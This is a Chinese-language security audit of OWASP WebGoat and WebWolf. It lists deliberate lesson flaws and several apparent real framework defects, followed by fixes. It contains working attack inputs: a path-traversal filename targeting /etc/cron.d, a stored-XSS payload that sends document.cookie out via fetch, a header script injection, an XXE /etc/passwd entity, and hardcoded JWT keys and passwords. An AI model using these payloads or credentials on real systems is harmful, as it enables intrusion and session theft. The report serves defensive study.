WebGoat 代码审计报告
审计对象: OWASP WebGoat (WebGoat 2026.2-SNAPSHOT) — 基于 Java 25 + Spring Boot 4.1.0 + Thymeleaf + HSQLDB 的故意设计存在漏洞的 Web 安全教学靶场,含主应用 WebGoat(:8080/WebGoat) 与伴生应用 WebWolf(:9090/WebWolf)
审计时间: 2026-08-12
审计范围: 全站 Java 源码(webgoat-container 框架层、lessons/* 约 30 个课程模块、webwolf 伴生应用)、安全配置(WebSecurityConfig、application-*.properties)、Thymeleaf 模板
审计目的: 定位可导致系统权限/系统数据、用户权限/用户数据、应用权限/应用数据泄露或篡改的漏洞(反序列化、命令执行/RCE、SQL 注入、未授权访问、硬编码密钥/账号密码、XSS、SSRF、越权)
⚠️ 重要声明: WebGoat 是有意的漏洞靶场,lessons/* 下的"漏洞"绝大多数是项目故意构造的教学样例。本报告的价值在于区分:框架/容器层真实缺陷(非课程故意,最具实战价值)与课程故意漏洞(教学用途,仍逐条记录供学习)。本报告仅作防御性安全研究参考,禁止将其中任何技术用于未授权目标。
一、审计结论摘要
| # |
漏洞类别 |
严重级别 |
是否故意 |
主要位置 |
最大影响 |
| 1 |
越权 + 路径穿越(WebWolf 文件服务器) |
🔴 严重 |
否·框架缺陷 |
webwolf/FileServer.java:75、webwolf/WebSecurityConfig.java:37-44、MvcConfiguration.java:25 |
匿名跨用户下载任意文件;登录用户路径穿越写入任意文件 |
| 2 |
匿名发信 + 存储型 XSS(WebGoat 邮箱) |
🔴 严重 |
否·框架缺陷 |
MailboxController.java:58-65、mailbox.html:142 |
未认证向任意用户邮箱注入 XSS → 窃取会话/Cookie |
| 3 |
未授权访问(Actuator 配置泄露) |
🟠 高 |
否·框架缺陷 |
application-webgoat.properties:76-77、container/WebSecurityConfig.java:44 |
未认证读取 /actuator/env、/actuator/configprops,泄露数据源/密钥库/OAuth 配置 |
| 4 |
存储型 XSS(WebWolf requests 页) |
🟠 高 |
否·框架缺陷 |
webwolf/templates/requests.html:39,47 |
请求头携带脚本 → 所有 WebWolf 用户触发存储型 XSS |
| 5 |
硬编码管理员账号(重启后重置) |
🟠 高 |
否·框架缺陷 |
container/users/DefaultUserInitializer.java:25-27,35-49 |
已知 webgoat-admin/webgoat 管理员口令,重置后仍会被还原 |
| 6 |
越权(任意邮箱清空 / OAuth 覆盖口令) |
🟠 高 |
否·框架缺陷 |
MailboxController.java:67-71、RegistrationController.java:65 |
未认证 DELETE /mail 清空全部用户邮件;OAuth 登录覆盖已有用户口令 |
| 7 |
反序列化 RCE(XStream 1.4.5) |
🔴 严重 |
是·课程(版本为真实依赖风险) |
lessons/vulnerablecomponents/VulnerableComponentsLesson.java:26-42、pom.xml:111 |
CVE-2013-7285 反序列化远程代码执行 |
| 8 |
反序列化(ObjectInputStream) |
🟠 高 |
是·课程 |
lessons/deserialization/InsecureDeserializationTask.java:42-45 |
无白名单 readObject() → 构造 payload 执行命令 |
| 9 |
XXE |
🟠 高 |
是·课程 |
lessons/xxe/CommentsCache.java:68-82 |
外部实体 → 任意文件读取 / SSRF / OOB 数据外带 |
| 10 |
SQL 注入 |
🔴 严重 |
是·课程 |
lessons/sqlinjection/*、lessons/jwt/claimmisuse/JWTHeaderKIDEndpoint.java:74-76 |
拖库、认证绕过、篡改数据 |
| 11 |
路径穿越(上传,课程) |
🟠 高 |
是·课程 |
lessons/pathtraversal/ProfileUploadBase.java:48-53 等 |
覆盖课程目录文件、读取隐藏 secret |
| 12 |
硬编码密钥 / 账号密码 |
🟠 高 |
是·课程(框架亦存在) |
lessons/jwt/JWTRefreshEndpoint.java:45、lessons/spoofcookie/*、lessons/authbypass/* |
伪造 JWT / 直接登录 / 账号接管 |
| 13 |
XSS(课程) |
🟠 高 |
是·课程 |
lessons/xss/* |
窃取 Cookie/会话 |
| 14 |
SSRF |
🟡 中 |
是·课程 |
lessons/ssrf/SSRFTask2.java:34、lessons/jwt/claimmisuse/JWTHeaderJKUEndpoint.java:55-57 |
泄露服务器公网 IP / 内网探测 |
| 15 |
越权 / 认证绕过(课程) |
🟠 高 |
是·课程 |
lessons/idor/*、lessons/authbypass/*、lessons/missingac/*、lessons/challenges/challenge8/* |
查看/篡改他人数据、提权 |
| 16 |
弱会话 / 开放重定向(课程) |
🟡 中 |
是·课程 |
lessons/hijacksession/*、lessons/openredirect/* |
会话预测劫持 / 钓鱼跳转 |
结论: 本靶场在课程层覆盖了用户要求的全部漏洞类别(均故意构造)。真正有价值的是框架/容器层 6 组非课程缺陷(#1–#6):WebWolf 文件服务的匿名越权 + 路径穿越、邮箱的匿名存储型 XSS、Actuator 未授权配置泄露、requests 页存储型 XSS、硬编码管理员账号(重启还原)、以及全局越权清理接口。其中 #1、#2 组合可在未登录情况下完成跨用户文件读写与 XSS 会话窃取,是攻击面最大、且不随任何"安全级别"而收敛的真实问题。
二、漏洞详情
说明:每项标注 是否故意——「否·框架缺陷」为真实漏洞(重点);「是·课程」为靶场故意教学漏洞。
2.1 🔴 越权 + 路径穿越 — WebWolf 文件服务器(框架缺陷)
🔴 2.1.1 匿名跨用户文件下载(IDOR)
- 文件:
src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java:37-44、MvcConfiguration.java:25
// WebWolf WebSecurityConfig.java
auth.requestMatchers(
HttpMethod.GET,
"/fileupload/**",
"/files/**", // ← 匿名可 GET
"/landing/**",
"/PasswordReset/**")
.permitAll();
// MvcConfiguration.java:25
registry.addResourceHandler("/files/**").addResourceLocations("file:///" + fileLocation + "/");
- 利用: 未登录
GET http://127.0.0.1:9090/WebWolf/files/{任意用户名}/{文件名} 直接下载任意用户上传的文件(WebWolf 文件目录 fileLocation 按用户名分子目录,但下载端点不校验归属)。
- 影响: 跨用户敏感文件泄露(课程中常存放 flag / 私钥 / 凭据)。
🔴 2.1.2 路径穿越任意文件写入(需登录)
- 文件:
src/main/java/org/owasp/webgoat/webwolf/FileServer.java:75
var destinationDir = new File(fileLocation, username); // fileLocation=/tmp/webwolf-fileserver
var destinationFile = destinationDir.toPath().resolve(multipartFile.getOriginalFilename());
Files.copy(is, destinationFile); // 原始文件名直接 resolve,无净化
- 利用: 登录后
POST /WebWolf/fileupload,文件名 ../../../../etc/cron.d/pwn(三级 .. 即可从 /tmp/webwolf-fileserver/{user} 逃逸到 / 下)→ 写入任意路径(父目录存在即可,如覆盖应用可读写的配置文件、写入 crontab/SSH authorized_keys 等,受运行用户权限约束)。
- 影响: 若 WebGoat/WebWolf 以较高权限运行 → 本地任意文件写 → 潜在 RCE;最低限度也可跨用户覆盖文件。
- 是否故意: 否·框架缺陷(
WebSecurityConfig 的 GET 放行 + MvcConfiguration 静态映射 + FileServer 无净化,三层叠加)。
2.2 🔴 匿名发信 + 存储型 XSS — WebGoat 邮箱(框架缺陷)
🔴 2.2.1 POST /mail 匿名注入 + th:utext 存储型 XSS
- 文件:
src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java:49-50、container/mailbox/MailboxController.java:58-65、resources/webgoat/templates/mailbox.html:142
// WebSecurityConfig.java —— 为课程"发信"开放,但未校验发件人/收件人
.requestMatchers(HttpMethod.POST, "/mail").permitAll()
// MailboxController.java —— Email 全部字段(recipient/sender/title/contents)由客户端提交
@PostMapping("/mail")
@ResponseStatus(HttpStatus.CREATED)
public void sendEmail(@RequestBody Email email) {
email.setTime(LocalDateTime.now());
mailboxRepository.save(email); // 未校验 recipient 归属、未校验 contents
}
<!-- mailbox.html:142 —— contents 未经转义直接输出 -->
<pre th:utext="${mail.contents}">contents</pre>
- 利用(未认证):
POST /WebGoat/mail,body {"recipient":"victim","sender":"attacker","title":"hi","contents":"<script>fetch('/WebGoat/WebWolf?x='+document.cookie)</script>"}
- 受害用户打开邮箱 →
th:utext 原样渲染 <script> → XSS 在受害者 WebGoat 会话中执行,窃取 JSESSIONID / 执行任意操作。
- 影响: 未认证存储型 XSS,跨用户投毒;配合邮箱会话可完全接管受害者 WebGoat 会话。
- 是否故意: 否·框架缺陷(
POST /mail 放行是课程需要,但 Email 对象缺少收件人校验、contents 未编码,属实现缺陷)。
🟠 2.2.2 DELETE /mail 全局清空(越权)
- 文件:
MailboxController.java:67-71
@DeleteMapping("/mail")
@ResponseStatus(HttpStatus.ACCEPTED)
public void deleteAllMail() {
mailboxRepository.deleteAll(); // 无认证、无归属校验,清空全部用户邮件
}
- 利用: 未登录
DELETE /WebGoat/mail → 所有用户的邮件被删除(含课程密码重置邮件)。
- 影响: 全局数据破坏(DoS);
@DeleteMapping 也未在 /mail 的 permitAll 列表内,但 CSRF 全局关闭 + 无方法级鉴权(.anyRequest().authenticated() 已覆盖,需确认方法级)——至少任意已登录用户可越权清空他人邮件。
- 是否故意: 否·框架缺陷。
2.3 🟠 未授权访问 — Actuator 配置泄露(框架缺陷)
- 文件:
src/main/resources/application-webgoat.properties:75-80、src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java:44
management.endpoint.health.show-details=always
management.endpoints.web.exposure.include=env, health,configprops
spring.security.oauth2.client.registration.github.client-id=${WEBGOAT_OAUTH_CLIENTID:dummy}
spring.security.oauth2.client.registration.github.client-secret=${WEBGOAT_OAUTH_CLIENTSECRET:dummy}
server.ssl.key-store-password=${WEBGOAT_KEYSTORE_PASSWORD:password}
.requestMatchers(..., "/actuator/**").permitAll() // 未认证
- 利用: 未登录
GET /WebGoat/actuator/env、/WebGoat/actuator/configprops、/WebGoat/actuator/health:
configprops 暴露全部 @ConfigurationProperties 绑定值(数据源 URL、WebGoat/WebWolf 路径、webgoat.* 全部配置);
env 暴露环境变量/属性源(Spring Boot 会对名称含 password/secret/key 的值打码,但非敏感配置、服务地址、端口、数据源结构、OAuth client-id 等全部可见);
health show-details=always 暴露健康检查明细(DB 状态等)。
- 影响: 未认证应用配置信息泄露,为后续攻击提供侦察面(内网地址、依赖版本、凭据默认值线索)。
- 是否故意: 否·框架缺陷(
/actuator/** permitAll 放行过度)。
2.4 🟠 存储型 XSS — WebWolf requests 页面(框架缺陷)
- 文件:
src/main/resources/webwolf/templates/requests.html:39,47、src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java、WebWolfTraceRepository.java
<!-- requests.html:39 —— 请求路径未转义 -->
<span th:utext="${trace.date}"/> | <span th:utext="${trace.path}"/>
<!-- requests.html:47 —— 请求完整记录(含请求头)未转义,Jackson 默认不转义 HTML -->
<pre th:utext="${trace.json}"/>
- 利用:
- 路径:
GET /WebWolf/landing/... 为 permitAll(WebSecurityConfig.java:37-44),路径会被记录;Tomcat 默认拒绝原始 </>,但 %3C 编码路径在部分中间件/编码形态下可触发。
- 请求头(更直接): 未登录发送
GET /WebWolf/landing/x,附带请求头 X-Inject: <script>alert(document.cookie)</script> → 该请求被 WebWolfTraceRepository 记录 → trace.json 经 Jackson 序列化,Jackson 默认不转义 </>/&,<script> 以字面形式进入 JSON → th:utext 原样输出 → 所有访问 /WebWolf/requests 的用户触发存储型 XSS。
- 影响: 跨用户存储型 XSS(WebWolf 会话 Cookie 名
WEBWOLFSESSION);可进一步与 WebWolf 内功能联动。
- 是否故意: 否·框架缺陷(
th:utext + 未做输出的 HTML 编码)。
2.5 🟠 硬编码管理员账号(重启后重置)— 框架缺陷
- 文件:
src/main/java/org/owasp/webgoat/container/users/DefaultUserInitializer.java:25-27,35-49
private static final String ADMIN_USERNAME = "webgoat-admin";
private static final String DEFAULT_USER_USERNAME = "webgoat-user";
private static final String DEFAULT_PASSWORD = "webgoat";
// 每次启动都重新断言 admin 口令 —— 即使管理员中途改密,重启后仍被还原
userRepository.save(new WebGoatUser(ADMIN_USERNAME, DEFAULT_PASSWORD, WebGoatUser.ROLE_ADMIN));
- 配套:
container/WebSecurityConfig.java:96-98 使用 NoOpPasswordEncoder(明文存储密码);/service/admin/** 由 WEBGOAT_ADMIN 角色保护(管控正确,但口令本身公开且可预测)。
- 影响: 任何知道默认口令的人可用
webgoat-admin/webgoat 登录管理员后台(AdminController,含重置任意用户密码、查看用户列表等);管理员改密无效,重启后口令还原。默认普通用户 webgoat-user/webgoat 同理。
- 是否故意: 否·框架缺陷("可预测凭据 + 明文存储 + 重启还原"三重组合;作为教学工具可接受,部署到真实环境即高危)。
2.6 🟠 越权 — 邮箱清理 / OAuth 口令覆盖(框架缺陷)
🟠 2.6.1 OAuth 登录覆盖已有用户口令(账号 DoS / 潜在接管)
- 文件:
src/main/java/org/owasp/webgoat/container/users/RegistrationController.java:61-65、UserService.java:44-55
// RegistrationController.java:65 —— OAuth 登录路径直接 addUser,未走 UserValidator 查重
@GetMapping("/login-oauth.mvc")
public String loginOauth(Authentication authentication) {
userService.addUser(authentication.getName(), UUID.randomUUID().toString());
...
}
// UserService.java:47 —— 无条件 save,覆盖同名已存在用户的口令
var webGoatUser = userRepository.save(new WebGoatUser(username, password));
- 利用: 若某用户的目标 WebGoat 用户名与其 OAuth 身份名(如 GitHub 邮箱/昵称)一致,攻击者注册同名 OAuth 账号登录 →
addUser 将目标用户口令覆盖为随机 UUID(普通注册路径 RegistrationController:55 有 UserValidator 查重拦截,但 OAuth 路径无此校验)。
- 影响: 已有用户口令被覆盖(账号 DoS);被覆盖后攻击者可能以该 OAuth 身份继续访问其数据。
UserService.java:78 的 CREATE SCHEMA "<username>" SQL 拼接由 UserForm 的 @Pattern("[a-z0-9-]*") 约束,风险被控。
- 是否故意: 否·框架缺陷(两条注册路径校验不一致)。
2.7 🔴 反序列化 / RCE
🔴 2.7.1 XStream 反序列化 RCE(CVE-2013-7285,版本为真实依赖风险)
- 文件:
src/main/java/org/owasp/webgoat/lessons/vulnerablecomponents/VulnerableComponentsLesson.java:26-42、pom.xml:111,140-142
XStream xstream = new XStream();
xstream.setClassLoader(Contact.class.getClassLoader());
xstream.alias("contact", ContactImpl.class);
xstream.ignoreUnknownElements();
...
contact = (Contact) xstream.fromXML(payload); // 未配置安全白名单
<xstream.version>1.4.5</xstream.version> <!-- 1.4.5 < 1.4.7,未含默认反序列化安全框架 -->
- 利用: 课程环境为演示样例;若该组件被用于真实解析外部 XML,
1.4.5 版本可被 ysoserial 式 gadget(如 EventHandler/PriorityQueue/ImageIO$ContainsFilter 等)触发 RCE。
- 影响: 远程代码执行(取决于 classpath gadget)。注意:
commons-collections 3.2.1 仅为 pom 属性,经典 ysoserial 链不在 classpath,实际利用受限,但版本本身是真实 CVE 载体。
- 是否故意: 是·课程(依赖版本为真实未修复风险)。
🟠 2.7.2 ObjectInputStream 无白名单反序列化
- 文件:
src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java:42-47、src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java:46-67
// InsecureDeserializationTask.java
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)));
Object o = ois.readObject(); // readObject 先于 instanceof 校验执行
if (!(o instanceof VulnerableTaskHolder)) { ... }
// VulnerableTaskHolder.java —— 恶意 readObject 触发命令执行(受限)
private void readObject(ObjectInputStream stream) throws Exception {
...
if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping")) && taskAction.length() < 22) {
Process p = Runtime.getRuntime().exec(taskAction); // Runtime.exec(全库唯一非测试 RCE 点)
}
}
- 利用: 构造序列化 payload(
taskAction 以 sleep/ping 前缀开头、长度 <22)→ 服务端 readObject 执行受限系统命令。
- 影响: 受限命令执行(长度/前缀限制)。属课程演示,但
readObject 先执行后校验是无白名单反序列化的典型反面教材。
- 是否故意: 是·课程。
🟠 2.7.3 不安全反序列化工具类
- 文件:
src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java:20-26 —— 通用 ObjectOutputStream/ObjectInputStream 封装,无类型白名单。
- 是否故意: 是·课程。
2.8 🟠 XXE(课程)
- 文件:
src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java:68-82
protected Comment parseXml(String xml, boolean securityEnabled) {
var xif = XMLInputFactory.newInstance();
if (securityEnabled) { // 安全开关默认 false,且所有调用方传 false
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // 仅在此才禁用外部 DTD
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
}
var xsr = xif.createXMLStreamReader(new StringReader(xml));
...
}
- 调用方:
SimpleXXE.java:54、ContentTypeAssignment.java:60、BlindSendFileAssignment.java:79 均传 false → 外部 DTD/实体始终可用。
- 利用: XML 中定义
<!ENTITY xxe SYSTEM "file:///etc/passwd"> → 任意文件读取;SYSTEM "http://..." → SSRF;结合 OOB(外部 DTD 外带)实现盲注数据外带。
- 影响: 任意文件读取 / SSRF / 数据外带(课程层)。
- 是否故意: 是·课程。
2.9 🔴 SQL 注入(课程)
以下均为课程故意样例,共同特征:字符串拼接 SQL + 无参数化。按子模块汇总:
| 文件 |
位置 |
注入点 |
lessons/sqlinjection/introduction/SqlInjectionLesson2.java |
:48-49 |
直接执行用户提交的 query |
.../SqlInjectionLesson3.java |
:45-47 |
直接执行用户 query(UPDATE/DELETE) |
.../SqlInjectionLesson4.java |
:44-46 |
直接执行用户 query |
.../SqlInjectionLesson5a.java |
:47-48 |
last_name = ' + accountName 拼接 |
.../SqlInjectionLesson5b.java |
:45-49 |
PreparedStatement 但 userid = + accountName 拼接(参数化失效) |
.../SqlInjectionLesson8.java |
:49-54 |
last_name = ' + name 拼接(二次注入写入 access_log) |
.../SqlInjectionLesson9.java |
:50-53 |
同上,DB 内容再进查询(二次注入) |
.../SqlInjectionLesson10.java |
:49,56 |
action LIKE '% + action 拼接 + 堆叠查询(DROP 表) |
lessons/sqlinjection/advanced/SqlInjectionLesson6a.java |
:54,69-72 |
last_name = ' + accountName 拼接 |
.../SqlInjectionChallenge.java |
:59-62 |
多参数拼接 |
lessons/sqlinjection/mitigation/Servers.java |
:50-53 |
ORDER BY + 标识符拼接(盲注) |
lessons/jwt/claimmisuse/JWTHeaderKIDEndpoint.java |
:74-76 |
WHERE id = ' + kid 拼接(JWT kid 头 → SQLi) |
lessons/challenges/challenge5/Assignment5.java |
:44-49 |
userid/columns 双参数拼接 |
- 示例(
JWTHeaderKIDEndpoint.java:74-76):
ResultSet rs = connection.createStatement().executeQuery(
"SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); // kid 来自 JWT 头
- 影响: 任意 SQL 执行、拖取用户表/密码、认证绕过、篡改数据。
- 框架层相关:
UserService.java:78 CREATE SCHEMA "<username>" 拼接已由用户名正则 [a-z0-9-]* 约束,风险被控(非课程,但属正向加固示例)。
- 是否故意: 是·课程。
2.10 🟠 路径穿越(上传,课程)
| 文件 |
位置 |
漏洞 |
lessons/pathtraversal/ProfileUploadBase.java |
:48-53 |
new File(uploadDirectory, fullName),文件名可含 ../ 穿越课程目录 |
.../ProfileUploadFix.java |
:43 |
仅 replace("../","") 一次 → ....// 绕过 |
.../ProfileUploadRetrieval.java |
:93-113 |
用 getQueryString() 原文(含 %2e%2e%2f)而非解码后的 getParameter() 校验 → URL 编码绕过读取 path-traversal-secret.jpg |
.../ProfileZipSlip.java |
:75-82 |
new File(tmpZipDirectory, e.getName()) 解压条目名未校验 → Zip Slip |
- 影响: 课程目录内任意文件读写、读取隐藏 secret 图片。
- 是否故意: 是·课程(
getQueryString vs getParameter 是经典双解码绕过教学点)。
2.11 🟠 硬编码密钥 / 账号密码
🟠 2.11.1 JWT 签名密钥硬编码(课程)
- 文件:
src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java:45-46,73,91
public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4"; // HS512 签名密钥,源码可见
Jwts.builder().signWith(SignatureAlgorithm.HS512, JWT_PASSWORD) ...
Jwts.parser().setSigningKey(JWT_PASSWORD).parse(...)
- 利用: 读取源码密钥 → 自行签发任意用户身份/
admin 的 JWT。
- 是否故意: 是·课程(另有
JWTHeaderKIDEndpoint 的 kid 注入点做引导)。
🟠 2.11.2 课程内其余硬编码凭据
| 文件 |
位置 |
硬编码内容 |
lessons/spoofcookie/SpoofCookieAssignment.java |
— |
明文账号 webgoat/webgoat、admin/admin、tom/apasswordfortom + 可逆 Cookie 加密 |
lessons/authbypass/AccountVerificationHelper.java |
— |
安全问题答案 Dr. Watson/Baker Street,userId 1223445 |
lessons/missingac/MissingFunctionACUsers.java |
— |
固定加盐 DeliberatelyInsecure1234 + 可伪造 Cookie 会话 |
lessons/challenges/challenge7/Assignment7.java |
:36 |
管理员密码链接 375afe1104f4a487a73823c50a9292a2 + new Random(seeded) 可预测 |
lessons/challenges/SolutionConstants.java |
:10 |
PASSWORD="!!webgoat_admin_1234!!",PINCODE 藏于 PNG 字节 |
lessons/insecurelogin/InsecureLoginTask.java |
:21 |
CaptainJack/BlackPearl 明文登录 |
application-webgoat.properties |
:14,79-80 |
SSL 密钥库口令默认 password;OAuth client-secret 默认 dummy(框架默认值) |
- 影响: 伪造令牌、绕过认证、直接登录/接管账号。
- 是否故意: 是·课程(配置文件默认值为框架层,多为占位符)。
2.12 🟠 XSS(课程)
| 文件 |
位置 |
类型 |
lessons/xss/CrossSiteScriptingLesson5a.java |
:63-65 |
反射型:cart.append("<p>... " + field1 + ...) 未编码 |
lessons/xss/stored/StoredXssComments.java |
:40,73-91 |
存储型:评论区评论内容原样存储/回显 |
lessons/xss/stored/stored-xss.html 模板 |
th:utext |
存储型评论未转义输出 |
2.13 🟡 SSRF(课程)
🟡 2.13.1 ifconfig.pro SSRF(受限)
- 文件:
src/main/java/org/owasp/webgoat/lessons/ssrf/SSRFTask2.java:34
if (url.matches("http://ifconfig\\.pro")) { ... } // String.matches() 全串匹配 → 仅允许该单一主机
- 分析:
matches() 隐含首尾锚定,http://ifconfig.pro@127.0.0.1、http://ifconfig.pro.evil.com 等均不通过。SSRF 被严格限制在单主机,仅可获取服务器公网 IP。
- 影响: 受限信息泄露(公网 IP)。
- 是否故意: 是·课程(安全写法
matches() 反而成为教学点:用白名单 URL 匹配防御 SSRF 的可行性边界)。
🟡 2.13.2 JWT jku 头 SSRF
- 文件:
src/main/java/org/owasp/webgoat/lessons/jwt/claimmisuse/JWTHeaderJKUEndpoint.java:55-57
var jku = decodedJWT.getHeaderClaim("jku");
var jwkProvider = new JwkProviderBuilder(new URL(jku.asString())).build(); // 攻击者控制 URL
- 利用: 篡改 JWT 头
jku 指向内网/任意地址 → 服务端拉取 JWKS(URL 类发起请求)→ SSRF(内网端口探测、读取响应差异)。
- 是否故意: 是·课程。
🟡 2.13.3 XXE 侧 SSRF
- 见 2.8:
CommentsCache 外部实体 SYSTEM "http://内网地址" 即 SSRF。
- 是否故意: 是·课程。
2.14 🟠 越权 / 认证绕过(课程)
| 文件 |
位置 |
漏洞 |
lessons/idor/* |
— |
IDOR:tom/cat、bill/buffalo 等固定 userId 2342384/2342388,篡改 id 越权读取/修改他人资料 |
lessons/authbypass/* |
— |
认证绕过:硬编码安全问题答案(见 2.11.2) |
lessons/challenges/challenge8/Assignment8.java |
:44-55 |
动词型认证绕过:仅校验 GET,X-HTTP-Method-Override/POST 即可绕过后端只允许 GET 的检查 |
lessons/missingac/MissingFunctionACUsers.java |
— |
Mass Assignment:提交 {"admin": true} 提权;Cookie 加盐固定可伪造 |
lessons/spoofcookie/SpoofCookieAssignment.java |
— |
Cookie 可逆编码,篡改即变身份 |
lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java |
:24-30 |
可预测会话 ID:++id + "-" + epochMilli(计数器 + 毫秒时间戳) |
- 影响: 查看/篡改任意用户数据、垂直提权为 admin、会话预测劫持。
- 是否故意: 是·课程。
2.15 🟡 开放重定向(课程)
- 文件:
src/main/java/org/owasp/webgoat/lessons/openredirect/OpenRedirectRealRedirect.java:18-22
@GetMapping("/openredirect/real")
public ModelAndView real(@RequestParam("url") String url) {
return new ModelAndView("redirect:" + url); // 任意 302 跳转
}
- 影响: 钓鱼跳转(配合伪造登录页可窃取凭据)。
- 是否故意: 是·课程。
2.16 🟡 其余框架层弱项(真实,影响有限)
| 项 |
位置 |
说明 |
| CSRF 全局关闭 |
container/WebSecurityConfig.java:70、webwolf/WebSecurityConfig.java:47 |
.csrf(csrf -> csrf.disable()) → 任何有状态操作可被跨站伪造(与 XSS 叠加放大) |
| 安全响应头关闭 |
container/WebSecurityConfig.java:71 |
.headers(headers -> headers.disable()) → 无 CSP/X-Frame-Options,配合 XSS 更易利用 |
| 明文密码存储 |
container/WebSecurityConfig.java:96-98、webwolf/WebSecurityConfig.java:84-87 |
NoOpPasswordEncoder 明文存储,配合硬编码账号(2.5)直接可读 |
| 堆栈回显 |
application-webgoat.properties:1、application-webwolf.properties:1 |
spring.web.error.include-stacktrace=always → 错误信息泄露内部路径/类名 |
| 管理员后台口令明文回显 |
container/users/AdminController.java:159-169 |
重置密码后临时口令在响应体明文返回(仅 admin 可触发,风险可控) |
- 是否故意: 否·框架缺陷(多数为教学工具设计取舍,但部署即生效)。
三、攻击面汇总(框架 vs 课程)
| 攻击面 |
是否需登录 |
真实/课程 |
一句话结论 |
GET /WebWolf/files/** 任意文件下载 |
否 |
真实 |
匿名跨用户读文件 |
POST /WebWolf/fileupload 路径穿越写文件 |
是 |
真实 |
任意路径文件写 |
POST /WebGoat/mail + 邮箱 XSS |
否 |
真实 |
匿名存储型 XSS → 会话窃取 |
DELETE /WebGoat/mail |
否* |
真实 |
全局邮件清空 |
GET /WebGoat/actuator/env|configprops|health |
否 |
真实 |
未授权配置泄露 |
GET /WebWolf/landing/** 请求头 XSS |
否 |
真实 |
存储型 XSS 全用户触发 |
webgoat-admin/webgoat |
否 |
真实 |
硬编码管理员口令,重启还原 |
/login-oauth.mvc 覆盖口令 |
是 |
真实 |
OAuth 同名账号覆盖目标口令 |
lessons/* 全部漏洞 |
是 |
课程 |
教学样例,见 §2.7–2.15 |
⚠️ 特别说明:WebGoat 默认监听 127.0.0.1、WebWolf 默认监听 127.0.0.1:9090(application-*.properties server.address)。上述真实缺陷在本机/教学环境危害可控;一旦对外网部署(WEBGOAT_HOST=0.0.0.0)或与真实数据联动,框架缺陷即为最高优先级修复项。
四、修复建议(防御视角)
- WebWolf 文件服务:
GET /files/** 改为要求登录并校验目录归属(authentication.getName() 与路径用户一致);FileServer 对 getOriginalFilename() 做 Path.normalize() + 校验 startsWith(destinationDir) + 拒绝 ..,或改用随机文件名存储。
- 邮箱接口:
POST /mail 校验 recipient 存在且与发送会话相关;deleteAllMail 改为按当前用户删除;模板将 th:utext 改为 th:text(对 contents 做 HTML 编码)。
- Actuator:移除
/actuator/** 的 permitAll,仅暴露 health 并收紧 show-details;env/configprops 要求认证;敏感值用环境变量注入而非默认占位。
- requests 页:
th:utext 全部改 th:text;对 trace.json 中的请求头做 HTML 转义。
- 硬编码账号:
webgoat-admin 口令改为首次启动随机生成并持久化;移除每次重启的口令重断言;密码改用 BCryptPasswordEncoder。
- 注册一致性:OAuth 登录路径复用
UserValidator 的查重逻辑,禁止覆盖已有用户名。
- 反序列化:升级
xstream ≥1.4.7(配置 XStream.setupDefaultSecurity + 白名单);ObjectInputStream 改用 ObjectInputFilter/白名单;VulnerableTaskHolder 的 readObject 禁止执行命令。
- XXE:所有 XML 解析默认禁用外部 DTD/实体(
securityEnabled 默认 true),开启 ACCESS_EXTERNAL_DTD 为空、禁止 DOCTYPE。
- SQL 注入:课程外层若复用到真实数据,全部改参数化查询;
JWTHeaderKIDEndpoint 的 kid 改为 PreparedStatement。
- XSS:所有
th:utext 改为 th:text 或对输出做 HTML 编码;恢复安全响应头(CSP、X-Frame-Options)。
- CSRF:恢复 CSRF 防护或使用
SameSite=Lax + 双提交 Token(至少保护改密/重置等高危操作)。
- 会话:
HijackSessionAuthenticationProvider 的会话 ID 改用 CSPRNG(SecureRandom);webgoat.user.directory 敏感文件避免落盘明文。
五、审计范围与方法
- 全量阅读
webgoat-container 框架层(安全配置、用户体系、邮箱、Actuator)、webwolf(文件服务、请求记录、静态映射)与 lessons/* 各课程模块源码;
- 全站 grep 危险 API:
Runtime.exec、ProcessBuilder、XStream.fromXML、ObjectInputStream.readObject、URL、openStream、executeQuery、Statement.execute、createStatement、th:utext、\.html\(、redirect:;
- 全站 grep 硬编码凭据模式:
PASSWORD、secret、key、admin、default、password=;
- 逐一验证每个框架层缺陷的权限配置链(
WebSecurityConfig → Controller → Repository → 模板),并对 SSRFTask2.matches()、Jackson 默认 HTML 转义行为、Tomcat 路径字符限制等做了代码级确认;
- 参考文档: OWASP Top 10 / OWASP WebGoat 源码
c596b729 (2026-08)。